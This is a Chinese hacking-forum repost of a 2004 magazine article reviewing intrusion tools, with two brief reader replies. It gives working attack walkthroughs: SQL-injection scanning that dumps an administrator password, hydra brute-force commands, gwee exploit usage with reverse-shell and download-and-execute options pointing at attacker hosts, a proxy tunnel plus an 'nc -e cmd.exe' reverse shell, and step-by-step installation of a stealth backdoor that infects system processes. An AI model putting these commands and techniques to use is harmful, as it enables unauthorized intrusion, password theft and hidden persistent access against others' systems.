发新话题
打印

[原创]X档案投稿文章《安全工具 谁主沉浮 N款安全类软件横向介绍》

[原创]X档案投稿文章《安全工具 谁主沉浮 N款安全类软件横向介绍》

文章作者:无敌最寂寞[-273℃@EST]
信息来源:邪恶八进制 中国
                        
文章首发于《黑客X档案》2004年11月刊小手册 转载请著名来源出处 注意版权谢谢

                          一、前言
  
依稀记得,N年前第一次学习黑客技术的时候还是从一个叫letmein的工具开始的,现在恐怕没有几个人在用了。安全在发展,工具也在不断地更新。每个时代都有自己代表性的东西,安全也不例外。在现如今的网络安全界,安全工具漫天飞舞,我们也许还在犹豫到底该用哪一个。这次就让我从使用者的立场上,为大家做一次介绍吧。

                          二、扫描工具身先行

一说到安全,每一个人第一个想到的也许就是扫描了。不错,在入侵前期的信息采集与目标踩点工作中,扫描工具起到了很大的作用。以前大家在win下都用流光和xscan,在*nix下是nmap和nessus,这些都是经典的老牌工具了,在这里我就不多说了。这次我给大家介绍的是一些新的扫描工具。
第一个上台的就是N—stealth。这是一款win平台下的HTTP 安全扫描工具,我手头里的版本是3.5 build 62。它可以检测超过19000个漏洞,是一款非常不错的安全审计工具。
运行界面如图一,是一个英文版的工具。

界面非常简洁,左侧三个按钮依次是扫描、IDS测试和数据库。第一个毫无疑问是工具的主体。选择后,在右面就会相应出现扫描选项卡。
在第一个scanner选项卡中,我们可以指定欲扫描的目标ip和web端口。如图二。

第二个选项卡 vulnerability detection就是扫描选项了,如图三。

一般不必选择IDS躲避,因为这样会影响扫描结果。同时点击下方的special options按钮,进行更详细地设置。如图四,大部分选项都是默认选择的,如果你对英文不是很感冒的话可以不去理会按照默认选项就可以了。回到扫描选项上,我们最后要看的是preference选项卡,大部分解释我都在图中给出了。


出于对自身安全的考虑,我还是强烈建议大家使用代理来扫描。几个重要的选项卡都介绍完了,如果你在vulnerability detection选项卡中指定了IDS evation,那么我们还需要在右面点选IDSTEST按钮,进入IDS TEST选项设置,如图六。

一般情况下保持默认设置即可。最后一个按钮database主要是对漏洞库进行维护的,可以通过它进行漏洞库的更新等操作。
  OK!主要选项都介绍完了,下面该领略一下它的风采了。如图七。

  谈到web安全我们就不得不说说sql injection漏洞,这个可是如今最盛行的攻击方式了。提到了sql injection我又不得不说说NBSI2 sql injection扫描工具。这是一款集sql 注入漏洞扫描和破解于一身的asp安全审计工具。运行界面如图八。

该工具完全是made in china,所以不存在语言障碍问题哦。网上有关此工具的使用方法很多,因此我就简单得介绍一下吧。从上面一排按钮开始看一下,网站扫描可以对一个地址进行sql注入漏洞检测。而注入分析功能则是该工具的重头戏,它可以通过get或者post方式进行sql injection漏洞的分析,如果发现存在漏洞,则可以进一步进行表名列名等的猜解。在扫描及工具按钮的下拉菜单里有几个非常有用的工具,其中nb command命令执行器和treelist目录列表工具是目前可用的。使用非常简单,大家一看便可知道。
需要强调的是NBSI2这个工具是针对asp脚本注入漏洞设计的,那么对于PHP我们就没有工具可以用了吗?答案是否定的,如图九。

这同样是一款made in china的工具,完全的中文界面一看就会用。由于我手里的版本是免费版有一定的功能限制,只能暴取文件代码,不过这个功能对于我们来说已经足够了。
  对于喜欢命令行的朋友来说,我推荐给大家一套组合工具,这套工具是同样是针对asp脚本注入漏洞设计的。该套工具包含两个小工具,wed和wis。这套工具是由netXeyes开发的。
使用起来也是非常的简单。首先我们需要利用wis工具对一个站点进行注入点的扫描。其过程如下:
C:\>wis http://www.someaspsite.com/

Web Injection Scanner (Protype 0.4)
by netXeyes, 2004.05.08 http://www.netXeyes.com security@vip.sina.com
 

Scanning http://www.someaspsite.com/, Page: Unlimited
Patient, Please....

(001 + 000) Checking: /shownews.asp?newsid=204
SQL Injection Found: /shownews.asp?newsid=204

Injection Page Final Result:
============================
/shownews.asp?newsid=204

发现注入点后我们再利用wed进行管理员帐户的猜解。过程如下:

C:\>WED.exe http://www.someaspsite.com/shownews.asp?newsid=204

Web Entry Detector, Ver 1.0 by netXeyes, 2004/08/26
http://www.netXeyes.com, security@vip.sina.com

#### Phrase 0: Check Enviroment ####
Get Row 1, Set Sensitive 250, Max Threads is 30
File C:\TableName.dic Opened
File C:\UserField.dic Opened
File C:\PassField.dic Opened

#### Phrase 1: Process Argv ####
Host:www.someaspsite.com
Page:/shownews.asp?newsid=204

#### Phrase 2: Detect SQL Injection ####
SQL Injection Detected.

#### Phrase 3: Get Cookies ####
Tag: 2017
Cookie: ASPSESSIONIDSADSBTAS=BIMAMMNCLCCIFICPLNEMFKND; path=/

#### Phrase 4: Starting Get Table Name ####
Tag: 45
Got Table Name is "users"

#### Phrase 5: Starting Get Name Field ####
Tag: 45
Got Name Field is "name"

#### Phrase 6: Starting Get Length of Field "name" ####
Tag: 24
Got Length of Field "name" is: 13

#### Phrase 7: Starting Get Password Field ####
Tag: 45
Got Password Field is "pwd"

#### Phrase 8: Starting Get Length of Field "pwd" ####
Tag: 24
Got Length of Field "pwd" is: 9

#### Phrase 9: Starting Brute Field "name" and "pwd" (Access Mode) ####

name is: administrator
pwd is: admin@bvn

C:\>

到这里我们基本完成了一次sql injection入侵,当然我们还可以利用wis工具寻找后台登陆页面,如下:
C:\>wis http://www.someaspsite.com/ /A

Web Injection Scanner (Protype 0.4)
by netXeyes, 2004.05.08 http://www.netXeyes.com security@vip.sina.com

Scanning http://www.someaspsite.com/, Page: Unlimited, Detect Access Page
Patient, Please....

(004 + 005) Access Page: /www.asp
(004 + 006) Access Page: /wwwstats.asp
(004 + 006) Access Page: /wwwlog.asp
(004 + 006) Access Page: /wstats.asp
(004 + 006) Access Page: /work.asp
(005 + 007) Access Page: /webstats.asp
(000 + 016) Access Page: /gansu2/tjhg.files/admin_index.asp
(000 + 015) Access Page: /gansu2/tjhg.files/admin.asp
(000 + 012) Access Page: /gansu2/gs.files/admin_index.asp
(000 + 011) Access Page: /gansu2/gs.files/index_admin.asp
(000 + 010) Access Page: /gansu2/tjhg.files/admin_del.asp
(000 + 009) Access Page: /gansu2/ddddd.files/manage.asp
(000 + 003) Access Page: /gansu2/ddddd.files/index_admin.asp

Access Page Final Result:
============================
/gansu2/login.asp (200 OK)

Scan Finished

C:\>

是不是很简单?到底选用命令行还是图形界面,这个就是读者自己的选择了。

最后要介绍的一款扫描工具就是dfind了。这个工具是我最喜欢的工具之一。运行界面如下:
E:\mfm\exploit>dfind
Usage: DFind <Option> [THREADS]

<Option>:
-p   <Port> <IP IP> .......... Scan one port on iprange  //扫描一段ip中的特定端口
+p   <Port> <IP IP> .......... Scan iprange,+logs ok,refused connections //扫描一段ip中拒绝连接的地址
-p   <Port , Port> <IP IP> ... Scan two ports on iprange //在一段ip中扫描两个端口,用逗号分隔
-p   <Port Port> <IP> ........ Scan a portrange on ip//在特定ip上扫描指定范围的端口
+p   <Port Port> <IP> ........ Scan portrange,+logs ok,refused connections //在特定ip上扫描决绝连接的端口
-ban  <Port Port> <IP> ........ Scan portbanners on ip  //抓取指定ip的端口标示
-ban  <Port> <IP IP> .......... Scan portbanners on iprange //扫描指定ip范围内的端口标示
-cgi  <IP> .................... Scan cgi hole //扫描cgi漏洞
+ipc  <IP IP> ................. Scan IPC$ null on 139 & 445 //扫描IPC空连接
-ipc  <IP IP> ................. Scan IPC$ null on 139 //同上
-ipc2 <IP IP> ................. Scan IPC$ null on 445 //同上
-iis  <IP IP> ................. Scan IIS webservers versions //扫描iis 服务器版本
-iis2 <IP IP> ................. Scan IIS write permissions hole //扫描IIS 可写入漏洞
-apa  <IP IP> ................. Scan Apache webservers //扫描apache服务器
-wdv  <IP IP> ................. Scan WebDav on IIS5.0 //扫描IIS5.0上的webdav
//以下为特定漏洞的扫描选项,我就不多解释了。可以去搜索引擎中查找相关漏洞说明

-hpj  <IP IP> ................. Scan HP Web JetAdmin
-msa  <IP IP> ................. Scan MSADC on webservers /
-ccb  <IP IP> ................. Scan CCBill WhereAmi
-med  <IP IP> ................. Scan WMedia on webservers
-php  <IP IP> ................. Scan phpBB on webservers
-php2 <IP IP> ................. Scan PHP-Nuke on webservers
-pso  <IP IP> ................. Scan PSOProxy Server
-fro  <IP IP> ................. Scan frontpage host
-rea  <IP IP> ................. Scan RealServer component
-htr  <IP IP> ................. Scan +.htr hole
-pri  <IP IP> ................. Scan .printer host
-uni  <IP IP> ................. Scan unicode hole
-idq  <IP IP> ................. Scan .idq host
-cod  <IP IP> ................. Scan codered virus hole
-opx  <IP IP> ................. Scan OptixPRO v1.0 => 1.32(include) hole
-rad  <IP IP> ................. Scan Radmin 2.1 Auth,NTAuth,NULL session
-sql  <IP IP> ................. Scan MS SQL Servers for weak access
-req  <REQ IP IP> ............. Scan File/Dir Request on webservers

上面 “//”后面是我添加的注释内容,这是0.81版的dfind。看完说明,我相信你看到了这个工具的强大之处,再加上本身体积上的优势(只有20几K)这个工具必将成为一款必备工具。比如我们来扫一下我所在内网部分ip段的空ipc连接,输入E:\mfm\exploit>dfind -ipc 10.1.0.1 10.1.0.54
扫描完成,在同目录下生成一个名为dfind的无后缀文件。用type命令即可察看.


                三、破解工具也疯狂
  
  网络安全中最暴力的是什么?大家也许会异口同声地说:“破解!”。不错,破解往往被很多高手所不齿,尤其是暴力破解很多人都认为这是无能的表现。但是破解有的时候却是入侵中唯一且有效的方法。
  远程破解相信大家都用过,我首推hydra。这是一款*nix平台下的远程登陆密码破解工具。它支持TELNET, FTP, HTTP, HTTPS, HTTP-PROXY, LDAP, SMB, SMBNT, MS-SQL, MYSQL, REXEC, SOCKS5, VNC, POP3, IMAP, NNTP, PCNFS, ICQ, SAP/R3, Cisco auth, Cisco enable, SMTP-AUTH, SSH2, SNMP, CVS, Cisco AAA众多登陆方式的密码破解。按照说明文件大家可以很容易地进行程序的编译。为了照顾那些windows的用户,在cygwin下编译出了win版本的hydra。我也将以win下的hydra作为介绍。
  运行时说明如下:
E:\mfm\exploit\hydra>hydra
Hydra v4.3 [http://www.thc.org] (c) 2004 by van Hauser / THC <vh@thc.org>

Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e ns]
[-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-f] [-s PORT] [-S] [-vV]
server service [OPT]

Options:
  -R      恢复先前中断的会话
  -S      通过SSL连接
  -s PORT  如果服务端口不是默认的,在这里指定服务端口
  -l LOGIN or -L FILE 指定LOGIN登陆帐户,或者是一个包含很多帐户的FILE文件
  -p PASS  or -P FILE 指定欲使用的密码文件
  -e ns    附加选项,"n" 检查空口令, "s" 尝试帐户名和密码相同检查
  -C FILE  指定一个包含“login:pass”格式的文件,用以取代-L和-P选项。
  -M FILE  指定目标地址文件,一行一个地址。
  -o FILE  将找到的帐户和密码记录到指定的文件中
  -f      在找到第一个帐户和密码对后结束探测
  -t TASKS  指定线程数 (默认是 16)
  -w TIME  指定响应最大等待时间(以秒为单位默认是 30)
  -v / -V  详细显示模式
  server   指定目标地址
service  要破解的服务,支持的有: [telnet ftp pop3 imap smb
smbnt http https http-proxy cisco cisco-enable ldap mssql mysql nntp vnc socks5
rexec snmp cvs icq pcnfs sapr3 ssh2 smtp-auth]
OPT     有些服务模块需要特定信息

我已经尽力将英文原版说明给大家翻译过来了。相信大家应该能看得懂的。
需要说明一点的是上面的OPT可以是如下的值:
service module               optional parameter
==============  =================================================
www / http / ssl / https
            指定验证页面可以是类似如下的值:
            Value can be "/secret" or "http://bla.com/foo/bar" or
            "https://test.com:8080/members"
http-proxy     指定验证页面(可选,默认是http://www.suse.com/)
smbnt        值[L,LH,D,DH,B,BH] (REQUIRED)
            (L) 检测本地帐户 (D) 域帐户 (B)两者选其一
            (H) NTLM 散列
ldap         指定DN (可选, 可以使用-l选项指定)
cisco-enable    specified the logon password for the cisco device (REQUIRED)
sapr3        specified the client id, a number between 0 and 99 (REQUIRED)

我只翻译了我认为比较重要的地方,如果还不能理解的话我们来看几个例子吧。
我们想破解一个http登陆页面,登陆帐户是superlone,密码文件在当前目录中pass.txt,目标地址为www.attack.com,那么此工具的命令行为:
hydra -l superlone -P pass.txt www.attack.com http /members/

再比如我们要破解nt.microsoft.com上的本地帐户和NTLM密码散列,我们可以这样:
hydra -m LH -l administrator -P sam.dump nt.microsoft.com smbnt
同过上面的两个例子,读者应该会用这个工具了吧。在破解的时候可以随时按下ctrl+c组合键来终止猜解,下次想继续猜解得时候可以使用hydra –R来继续上次的猜解过程。
对于http/www服务的猜解我们可以指定代理服务器。方法是指定环境变量:
HYDRA_PROXY_HTTP为指定的代理地址。比如:
E:\mfm\exploit\hydra> set HYDRA_PROXY_HTTP="http://222.124.114.10:8080/"

如果想为其它的服务也使用代理,那么需要指定HYDRA_PROXY_CONNECT值为代理地址。比如:
HYDRA_PROXY_CONNECT=proxy.anonymizer.com:8000
如果代理服务器需要验证的话可以指定如下的环境变量值为指定帐户和密码:
HYDRA_PROXY_AUTH="the_login:the_password"

到这里这款工具基本上就介绍完了。不知道读者看过后会有怎么样的想法,也许和我一样为它的强大功能而叫好吧?
介绍了远程,本地的肯定也不能拉下。估计说到这里肯定大家都会说本地的用lc地球人都知道。不错lc作为一款本地密码破解工具,确实非常强大也是众多黑家必备的工具了。然而今天我要介绍的是一款新软件---saminside,先看一下界面吧图十。

看上去好像简单了点,点击第一个文件夹图标的下拉菜单,可以看到很多的选项,分别如下:
Import from sam and system files…..        从本地sam数据库和系统文件中导入
Import from sam and syskey file…          从本地sam数据库和syskey中导入
Import from PWDUMP file…            从pwdump文件中导入
Import from .LCP file….               从.LCP文件中导入
Import from .LCS file….                从.LCS文件中导入
Import from .LC file….                从.LC文件中导入

从上可知,我们可以将通过其它方式获得的密码文件导入到我们的saminside里。
如果你是想破解本地机器上的密码,那么可以选择第二个按钮。点击后,将导入本地所有帐户信息,图十一。

同时,工具的其它按钮也变为可用。第三个按钮可以用来编辑散列。第四个按钮可以删除所有的用户信息。第五个按钮允许我们检测指定的密码。比如图十二,我们在底部提示框中填写一个密码,然后按下第五个按钮(或者F2),如果这些用户中的密码与你指定密码相匹配工具就会提示你。

第六个按钮可以产生LM和NT散列。第七个按钮是破解选项,按下旁边的向下箭头弹出一个菜单,我们可以选择是破解LM散列呢,还是NT散列(第一个选项和第二个菜单项),同时我们可以选择破解方式,比如暴力破解还是字典破解(第三个和第五个菜单项)。直接单击这个按钮会弹出暴力破解密码时的设置选项,具体含义如图十三。

都设置好了,我们就可以点击最后一个按钮(或者按F5)进行密码猜解了。
在我大彬兄的pentium 1.8G的笔记本上,暴力猜解liubin1用户的密码iloveyou,每秒钟可以达到630万次的组合尝试。
All right,两款破解工具就介绍到这里了。



                     
                   四、漏洞利用显神威

  踩点结束后,我们下一步会根据获得的信息制定详细的入侵计划。其中对漏洞的利用是关键的一步。然而不幸的是,检测漏洞很容易,但是寻找漏洞利用程序却是件苦差事。每每为了检测出来的漏洞四处寻找exploit时,你有没有希望有一个expoit集合工具呢?metaspoilt给了我们惊喜,这是一款漏洞集合工具,内含了21个常用溢出漏洞的exploit。虽然还不是很全面,但是它正在不断的完善中,更重要的是它给了我们一种思路。在9期的x档案里我为此工具专门写了一篇文章,所以在这里我对该工具就不多作介绍了,读者可以去翻阅9期杂志。总之我还是强烈推荐这款工具的。
  除了此款工具外,我当然还有新的东西奉献给大家的,它就是gwee,这个是我在国外站点淘金淘出来的。它没有详细的说明,只给了unix平台下的代码,不过我还是弄到了win平台下的版本了。因此我们依然以win平台下版本为说明。
  Gwee,generic web exploitation engine(普通web利用引擎),是cgi和pl脚本漏洞利用程序。
详细说明如下:
Usage: gwee [options] [target_url]
[target_url]必须是漏洞页面完整地址,比如:
  http://target.tld/cgi-bin/openwebmail/userstat.pl
-h
  帮助信息
-V
  打印软件信息.
-y string
  在插入shellcode命令行之前插入的参数。 Shellcode将被插入到-y和-z选项指定的值之间。在默认的POST方式中, -y和-z选项中的数据将被插入到post数据中,而不时在URL中出现。在GET和HEAD方式中, "-y <shellcode> -z" 将会被添加到URL中. 如果你想添加一个“?”,那么你可以在URL或者作为-y选项的第一个字符给出。默认的是-y和-z选项都是空的。
-z string
  在shellcode之后要添加的字符串。. 默认为空。使用-y和-z组合的例子如下:

  $ gwee -H -y &#39;?testvar=&#39; -z &#39;|&#39; target/cgi-bin/test.cgi

  这将被解析为:
  http://target/cgi-bin/test.cgi?testvar=perl -e "print <shellcode>"|
  当然你也可以这样做:
  $ gwee -z &#39;|&#39; &#39;target/cgi-bin/test.cgi?testvar=&#39;

  $ gwee -y testvar= -z &#39;|&#39; target/cgi-bin/test.cgi
  这将被解析为:
  http://target/cgi-bin/test.cgi
  POST data: testvar=perl -e "print <shellcode>"|
-G
  使用GET方法而不是默认的POST方法。 This is not recommended since nasty long
  tell-tail strings will end up in the access_log. In order for the whole
  payload to fit into a 1024 byte GET request, the shellcode is split up into
  4 separate requests, all producing nasty logs.
-H
  使用HEAD方法。. Read about -G, the same nasty logs will
  appear on the target and the shellcode will be split into 4 requests.
-l your_ip_or_hostname
  Shellcode执行时反向连接的ip地址. Hostnames will
  be resolved into IP numbers, since that&#39;s the only method used by the
  binary shellcodes.
-p port
  反向连接的端口, 默认是 31337.
-s #
  Shellcode类型:
     0 = Sabu&#39;s Perl shellcode (perl写得shellocde,是默认使用的)
     1 = Linux x86 binary
     2 = FreeBSD x86 binary
     3 = NetBSD x86 binary
     4 = Sabu&#39;s Python shellcode (python写的shellcode)
-i #
  选择shellcode插入的方式:
     0 = perl -e "print \"<hex>\"" (默认使用的方式)
     1 = python -c "__import__(\"sys\").stdout.write(\"<hex>\")"
     2 = printf "<hex>"
     3 = echo -ne "<hex>" (works only if target&#39;s /bin/sh is bash)
-I prefix_path
  指定解释程序所在的路径,比如:
  -i1 -I /usr/local/bin/
  这将被解析为: /usr/local/bin/python -c ...
  默认为空
-T /var/tmp/.vetx.95
  为shellocde指定一个临时文件

-a "user agent string"
  选择一个user agent ,比如:
     -a "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"
  If -a 选项省略了, 将从25个可用的user agent随机使用。
-v
  Be 详细输出模式 disclose exactly which commands are being executed.
-q
  安静模式, only output error messages, nothing else.
-L
  运行程序内置的监听器 (不需要使用 "nc -l").
-A
  在-p端口上监听进站连接。 Time-out is set to no time-out, which can be changed by appending, e.g., -t30 *after*  the -A (not before). The -A option is just like: nc -l -p port -w timeout
-t seconds
  设定超时时间。 默认是30秒
  (30 seconds), -t0 表示无超时.
-f
  非交互模式,不需要按回车来继续。
-w http://home.of.attacker/reverse_shellcode
  如果指定了此选项,则-y和-z选项就可以省略,此选项将在目标机器上下载你指定的程序并运行它。  使用-d选项dump一个shellcode,然后可以将此shellcode传到你指定的web站点上以便目标机器下载执行。
-d outfile
  Dump一个shellcode到一个指定的文件。
  通过-p和-s选项定制一个shellcode然后将定制好的shellcode dump到一个文件中。
下面是个例子;

  $ gwee -lyourhostname. -p1337 -s1 -d bd
  $ scp bd leet@host:/wwwroot/
  $ gwee -w http://host/bd -LG -p1337 &#39;target/cgi-bin/vuln.cgi?&#39;
-P
  在注入成功后保留shellcode。通常注入成功后改程序将尝试发送一个"rm -f /var/tmp/.vetx.95"命令。
  This will leave nasty logs even after you wipe yourself from the logs. If
  you know you&#39;ll get a shell on a box, use the -P option with the -L option.
  Once connected with -L, it&#39;ll automatically send a "shred -fu ; rm -f"
  over the connected socket.
-r
  删除在目标机器上留下的后门。This is done
  by default, but you still have the choice to explicitly do a remove.


上面的说明文件我只翻译了我认为重要的地方,也许读者看后有点不知所云。大家都知道在perl编写的cgi脚本中一旦存在注入漏洞将是非常危险的,而该工具正式针对这种注入漏洞编写的。它可以将手工注入简化,下面给几个例子(由于环境原因,我未能找到真实环境测试,所以我只给出了理论上的例子,但是我的确手工注入成功过,但当时未能截图。)
例子:
gwee -y &#39;q=%3B&#39; -l fubar.org. -p 6666 -L https://target/cgi-bin/vuln.cgi
该命令默认使用POST方式提交数据,使用的默认shellcode类型,默认的shellcode插入方式,反向连接到fubar.org,反向连接的端口为6666。

至于这样的漏洞如何检测到的呢?呵呵,你不妨尝试一下我在第一章里提到的Nstealth.我想当你碰到类似的漏洞后,这款工具不会让你失望的。





                   五、辅助攻击出奇招

  记得很早以前我碰到了这样的一个难题:我在学校内网中有一台机器A,它与外界的联系必须通过一台HTTP代理服务器。换句话说,我只能进行HTTP访问。这对我来说太苛刻,任何非http访问都被拒之门外。我在外网中有一台机器B,我想透过HTTP代理来控制内网机器A。该如何去做呢?
  我们一起来分析一下吧,要想在外网控制内网机器必须使用反向连接的backdoor,这个也许不成问题。但是还需要加一个条件------支持HTTP代理的反向连接后门。这种后门也许也能找到。那么再看一个问题吧(我们以telnet后门来分析):


       反向telnet(HTTP打包)          HTTP包
A(内网机器)-------------------------〉HTTP代理-----------------------------------〉B(外网机器)
       ?------------------------       ?-----------------------------------  
         HTTP包                  HTTP包


以上是简单的通讯过程描述,从上可以看出我们要想实现我们的想法,A必须要同时有一个打包和解包程序,对telnet的数据包进行HTTP封装和解封。在B上也是一样。
虽然理论上可以实现,但是真正实现起来却是让我很伤脑筋。于是就先放下了这个问题,然而没想到的是我会在以后的入侵中接连碰到类似的问题,我才意识到是解决问题的时候了。一个网上认识多年的朋友给我email来了一个工具包,我仔细看了一下不禁欣喜若狂,这正是我想要的。Unix下的代码,可是我碰到的大部分环境都是win平台的,只好弄出个win平台下的了(需要cygwin1.dll)。

  工具名称,despoxy。英文解释是a TCP tunnel for HTTP proxies。看上去很诱人,穿透HTTP代理就靠它了。工具使用非常简单:
Usage: desproxy remote_host remote_port proxy_host proxy_port local_port

     Desproxy 远端地址 远端端口 代理地址 代理端口 本地端口

如何使用呢?就以本章开头提出的问题来实际操作一下吧。比如外网主机B的ip为222.174.144.xxx,远程NC监听端口为512。代理服务器内网IP为10.0.0.10.首先将desproxy和cygwin1.dll复制到内网机器A上,然后在A上这样使用desproxy:
desproxy 222.174.144.xxx 512 10.0.0.10 8080 23

如图十四。

然后在A上再打开一个cmd窗口,使用如下nc命令:
Nc 127.0.0.1 23 –e cmd.exe

在desproxy窗口马上有了以下反应,在远端机器B上很快就得到了一个shell(很抱歉,由于测试条件的原因没能在远程主机B上获得截图,还请读者谅解)。

TCP port 23 Bound & Listening
Press <Control+C> to Quit
Connection request from 127.0.0.1, port 1122
Connecting to http proxy (10.0.0.10:8080)
Bidirectional connection established
(222.174.144.xxx:512) <-> (localhost)
proxy -> local (72) bytes
local -> proxy (13) bytes
proxy -> local (35) bytes
local -> proxy (14) bytes
proxy -> local (447) bytes

Desproxy为我完美地解决了这个困惑我很久的问题。这个工具给我的启发很大,有了源代码在手,我想我会写出一个完美支持win平台下的desproxy,而不需要再拖着一个cygwin1.dll。

             六、后门木马众生相

作为拥有众多族人的后门木马家族来说,每天都有“新人”诞生。然而后门木马的死对头杀毒软件也是竭尽全力、想方设法要灭后门木马家族满门。在这个动乱的年代,一款好的后门木马是每一个黑家梦寐以求的。这一次我就给大家带来一款刚诞生不久的后门-----hackers’ door(黑客之门)。
黑客之门采用的目前一些先进的后门技术,它只有一个dll文件,通过感染系统文件启动自身,被感染的系统文件大小和日期都不会改变;同时采用线程插入技术,本身没有进程;它本身不开端口,而是重用系统进程开的任意一个端口,如80,135,139,445等,因此它的隐藏性是非常好的,而且穿透防火墙也是很容易的事情。这个版本文件不大,只提供一些很有用的命令。目前还没有发现如何工具能查到这个后门,象fport,klister,RKDetector等查后门的工具都失效了。
看到了上面的介绍,你是否已经像我一样心动了呢?那就让我们一起体会一下它的神奇所在吧。
解开压缩包后,里面只有两个主文件:hdconfig.exe和hkdoordll.dll.第一个文件是后门的配置文件,第二个则是后门的主文件了。我们可以将hkdoor.dll任意改名,比如这里改为sysmon.dll。然后打开hdconfig.exe,选择浏览找到你改名后的sysmon.dll文件,进行配置,填入默认密码yyt_hac后就可以设置自己的连接密码了,设置完后保存即可。如图十五。

安装命令如下:
rundll32 hkdoordll,DllRegisterServer [procname] [type]

其中hkdoordll是后门的主文件名应放在system32目录下,可以任意改名。在本次测试中我已经改成了sysmon.dll了,[procname]是后门要插入的进程名,默认是services.exe(如果是在system32目录下的可以不带路径名)。这里需要注意的是,除了csrss.exe、smss.exe外,其它系统文件都可以感染。[type]是安装方式,0表示只感染系统文件,1表示只感染进程,2表示感染系统文件,同时感染进程,默认是2。
安装选项都介绍完了,我们实际来安装一次看看吧。我们完全按照默认选项来安装后门,将sysmon.dll(改名后的hkdoordll.dll)copy到system32目录里,然后再cmd下输入:
C:\>rundll32.exe sysmon,DllRegisterServer
没有任何反应,那么如何知道是否正确安装了呢?后门安装后会在system32目录下生成一个叫system.log的文件,里面包含了后门的安装信息。我们去type一下看看就知道了,如图十六。

从信息上来看,我们已经成功将后门注入到了services.exe进程,后门安装成功了。
  下一步就是验证后门是否可用了。在cmd下用nc连接目标任意端口:
I:\mfm\box>nc -vv 127.0.0.1 135

然后输入NCLOGIN 密码(此密码就是你在配置后门的时候设置的密码,在这里就是superlone)回车,如图十七。

搞定了!
  需要说明的是,如果是在终端服务中直接安装该后门会失败,这是因为终端服务中的每个会话都是独立的,因此如果目标进程与调用进程不在同一个会话中时,CreateRemoteThread API 调用就会失败。解决办法是:
使用pstools中psexec.exe来获得一个shell,如下:

C:\WINNT\system32>psexec \\127.0.0.1 -u administrator cmd.exe

在这个shell下进行安装就可以了。

知道了安装,卸载也是很容易的。只需要在cmd下调用如下命令即可:
I:\mfm\box>rundll32 sysmon,DllUnRegisterServer superlone

即可以将后门卸载掉。是否卸载成功的信息也可以从system.log文件中得到。

至此,此后门的使用方法我已经详细介绍给大家了。不知道大家对此后门是否也情有独钟了呢?





                   七、后序

文章写到这里,我已经把我想介绍给大家的工具都介绍完了。我唯一还是放心不下的就是,大家是否满意?有很多人都说,只会用工具的黑客只是个 tool kid,而不是一个真正的黑客。而我想说的是,能把工具用得得心应手的黑客,才是一个真正的黑客。
从认识工具到使用工具,从使用工具到了解工具,再从了解工具到写出自己的工具,这个过程才是我们真正要走的。不要抵制工具,但也不要太过于依赖工具。这就是我的文章真正想留给大家的东西!
俺是mika!别叫错了! 俺的QQ:794773 http://hi.baidu.com/stealthwalker/ my private area ------------------------------------------------------------ <a href=http://hi.baidu.com/stealthwalker target=_blank></a>

TOP

很棒的文章!学到了不少东西,后序写得也很是经典,相信可以载入新生代黑客的格言中.
BLOG: http://blog.csdn.net/hkbyest

TOP

从认识工具到使用工具,从使用工具到了解工具,再从了解工具到写出自己的工具,这个过程才是我们真正要走的。不要抵制工具,但也不要太过于依赖工具。这就是我的文章真正想留给大家的东西!

都写到这里了,就再附上各种语言写TOOL的对比。
看了你很多的原创文章,十分喜欢看你的文章,希望看到你下次对编程语言的详细介绍。
如果自己真的错了就承认错误吧。 如果自己真的对了就争取原则吧。 如果自己真的放弃就安静反省吧。 如果自己。。。。。。。。。。。 太多太多的事情。。。。。。。。

TOP

发新话题